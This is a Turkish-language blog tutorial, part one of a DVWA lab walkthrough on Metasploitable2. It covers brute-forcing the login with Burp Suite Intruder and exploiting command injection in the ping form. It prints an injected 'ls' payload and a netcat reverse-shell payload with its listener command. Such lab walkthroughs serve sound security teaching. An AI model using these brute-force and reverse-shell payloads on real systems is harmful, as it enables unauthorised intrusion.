DVWA Çözümleri: Bölüm 1

Web uygulama güvenliği üzerine çeşitli zafiyetler barındıran DVWA çözümlerini inceleyelim. DVWA ile SQL Injection, XSS, CSRF, Command Execution gibi zafiyetlerin nelerden kaynaklandığı konusunda uygulamalı olarak öğrenebilir, pratik yapabilirsiniz.

Metasploitable2 ile kurulu olarak geldiği gibi isterseniz kendi bilgisayarınıza da kurabilirsiniz. Sistemde metasploitable2 kurulu olduğu için onun üzerinden anlatım yapacağım.

Öncelikle metasploitable2 sistemimizi açalım. Bu kısımda bize tek gerekli olan metasploitable2 sisteminin ip adresi. Metasploitable2 varsayılan olarak msfadmin:msfadmin bilgileri ile giriş yapabilirsiniz. “ifconfig” komutu ile ip adresimizi öğrenelim.

ifconfig

İp adresimizi öğrendikten sonra kali linux üzerinden tarayıcıdan erişebiliriz.

dvwa

Giriş için varsayılan olarak admin:password olarak giriş yapabiliriz.

dvwa low

Giriş yaptıktan sonra DVWA Security menüsünden ayarı low yapıyoruz.
Ayarları yaptıktan sonra artık başlayalım. Gördüğünüz gibi Brute Force, Command Execution, CSRF, File Inclusion, SQL Injection, XSS gibi birçok web güvelik açıklarını görüyoruz.

Brute Force

Brute force ile başlayalım. Kaba kuvvet saldırısı anlamına geliyor. Brute force saldırısında önemli olan nokta wordlist’in ne kadar geniş olduğudur. Wordlist içindeki satırları teker teker deneyerek bulmaya çalıştığından eğer parola wordlistte yoksa başarısız olacaktır.

brute force

Bu kısımda öncelikle Proxy ile trafiği üzerimize alıp bu işlemi otomatize hale getirelim.

proxy

Firefox’ta menü kısmından Preferences > Advanced > Network > Settings yolunu izleyerek

“Manual proxy configuration:” sekmesine tıklayarak localhost adresimizi yazdık. Porta ise 8080 değerini vermiş olduk. Bu işlem ile trafiği Proxy ile kendi üzerimize aldık. Giden isteklere müdahale etmek için Burp Suite aracını kullanacağız. Kali linux üzerinde varsayılan olarak  kurulu geliyor.

Burp suite aracımızı açıyoruz. Proxy > Options sekmesinden gerekli ayarlamaları yapmamız gerekiyor.

burpsuite options

Firefox’ta yaptığımız ip ve port ayarlamalarını Burp Suite’ten dinlememiz gerekiyor. Böylece Burp Suite trafiği yakalamasını söylüyoruz. Gerekli ayarlamaları yaptıktan sonra Login formundan deneme yapıp isteği yakalayalım.

dvwa brute force

test:test_password olarak giriş yaptık. Hemen Burp’e geçiyoruz.

burp brute force

Proxy > Intercept kısmında giden paketin içeriğini görüyoruz. Paketin yakalanması için “intercept is on” olması gerekiyor.
username=test&password=test_password kısmında verdiğimiz değerleri görüyoruz. Ardından isteğimizi Intruder’e yolluyoruz.

burp intruder

Positions sekmesinden test ve test_password değerlerini Add butonu ile seçiyoruz.

burp payload

Attack Type olarak Cluster Bomb’ı seçiyoruz ve Payloads sekmesine geçiyoruz.

Burada Payload set: 1 olan kısım test değerini yani kullanıcı adını, 2 ise test_password değerini yani parolayı temsil ediyor. Payload options kısmından admin,root,toor,secret,password değerlerini ekledik. Bu kısımda manuel ekleme yapabilir veya hazırladığınız bir wordlisti yükleyebilirsiniz. Payload set:2 içinde bu işlemleri tekrarladık. Start attack ile brute force saldırısını başlatıyoruz.

burp payload sets

 

brute force attack

Status kısmındaki dönen 200 cevabı HTTP durum kodu yani Ok, başarılı anlamına geliyor.
Length ise dönen cevapların boyutu. Boyutları incelediğimizde bir tanesinin 4948 olduğunu göreceksiniz. admin:password ile bulmuş olduk.

 

Command Execution

Command Execution ile devam edelim. Bu zafiyet komut çalıştırmaya olanak tanır. Örneğimizi inceleyelim.

dvwa command

Sayfanın kaynak kodunu inceleyelim.

source code

Bizden aldığı değeri target değişkenine atıyor ve exec ile ping komutuna ekleyip kendi sisteminde çalıştırıyor. Linux sistemlerde “;” ile bir komut çalıştırdıktan sonra başka bir komut daha çalıştırabiliyoruz.

command ping

8.8.8.8;ls” değerini yolluyoruz. Bu komut, ping 8.8.8.8;ls şeklinde çalışacak yani 8.8.8.8 adresine ping atacak sonrada ls komutunu çalıştıracak. Resimde gördüğünüz gibi ls komutun çıktısını da ekrana bastı.

reverse shell

Bu zafiyeti tespit ettikten sonra nc ile reverse shell alabilirsiniz.

“8.8.8.8;nc 192.168.170.139 4444 -e /bin/sh” değerini giriyoruz. Ama önce nc ile kendi sistemimizde dinleme moduna geçelim “nc -lvp 4444”

nc

Zafiyet, kullanıcıdan alınan inputları herhangi bir filtrelemeden geçirilmeden sistemde işlenmesinden kaynaklanıyor.

Yazının ikinci bölümü için; DVWA Çözümleri: Bölüm 2

Bir cevap yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir